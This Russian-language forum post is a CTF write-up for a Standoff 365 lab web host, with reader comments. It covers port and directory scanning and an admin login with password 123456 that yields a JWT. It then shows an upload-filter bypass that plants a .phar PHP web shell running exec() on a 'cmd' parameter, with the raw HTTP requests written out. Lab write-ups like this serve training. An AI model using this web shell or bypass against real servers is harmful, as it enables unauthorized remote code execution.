Заметка [WriteUp] Web-6 smashmusic.edu.stf 10.124.1.241 | Standoff 365

Платформа : standoff365.com

Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора



Nmap​


Проводим стартовую разведку

Из портов на сайте нет ничего интересного

Код:
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1720/tcp open  h323q931

direcoty через feroxbuster не нашёл ничего интересного

Код:
http://10.124.1.241/secret/
http://10.124.1.241/index.php
http://10.124.1.241/styles/
http://10.124.1.241/uploads/
http://10.124.1.241/js/

Роботы говорят

Код:
User-agent: *
Disallow: /secret/
Disallow: /core/
Disallow: /uploads/


Bypass redirect via jwt token​

через перебор каталогов находим
http://10.124.1.241/js/

Cтоит обратить внимание на следующий файлик.
http://10.124.1.241/js/auth.js

Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php

Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло

Код:
POST /core/userLogin.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: pma_lang=en; 
Upgrade-Insecure-Requests: 1
Content-Length: 53

{
   "username": "admin",
   "password":"123456"
}


В ответ на этот запрос я получил jwt token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.fFS_sVBsE1Xgby-9edtjByHPkq-AAmeZ_rfV5SzIKXU

Проверим через сайт начинку токена (site: ) , увидел что токен Админский значит : нужно его куда-нибудь подставить

Берем нежно наш токен , чтобы пока несли не сломался
и идем в
10.124.1.241/secret


После обхода​

мы получили страничку где можем загружать файлы , почему бы нам что нибудь да не загрузить?


Роботы на подработке​

Решил проверить эффективность следующего инструмента
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file
Пример команды для перебора
python upload_bypass.py -r test -s 'file has been uploaded' -E php -D /uploads --burp_http --exploit

Содержимое файла test, было изменено в зависимости от документации
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file#example-2


Код:
POST /secret/uploadMusic.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 178827
Origin: http://10.124.1.241
DNT: 1
Connection: keep-alive
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="*filename*"
Content-Type: *mimetype*

*data*
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--

Руками​


В процессе поиска нашёл вот такую забавную штуку

PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.

- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.

Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива

Код:
POST /secret/uploadMusic.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 10.124.1.241
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 706
Origin: http://10.124.1.241
DNT: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="bob.phar"
Content-Type: audio/mpeg

<?php
    $output = null;
    $retval = null;

    if(isset($_GET['cmd'])) {
        // Capture the output and return value of the system command
        exec($_GET['cmd'], $output, $retval);
    }

    // Output the captured output
    if(is_array($output)) {
        foreach($output as $line) {
            echo $line . "\n";
        }
    }
?>

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--

После получения revshell or url?cmd Забираем их* флаг




P.S
Возможно Заметки/Статьи не будут публиковаться на форуме codeby.net , а вот тут в формате Папки/Архива для приложения , но на данный момент Архив пуст GitHub - username6345/writeups_for_the_reader: different ctf tasks or something else
Возможно еще увидимся тут, . и нет) не там где вы подумали.
 
Последнее редактирование:
Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли , посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!
 
Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли , посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!

Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json


Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение
1735578285112.png


После данного комментария из writeups была убрана данная деталь
 
  • Нравится
Реакции: yetiraki
Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json


Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение

После данного комментария из writeups была убрана данная деталь
Спасибо.
Я себе и так все голову сломал с этим таском, а оказалось как минимум проще, чем я думал, но вот в этом месте прям завис.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!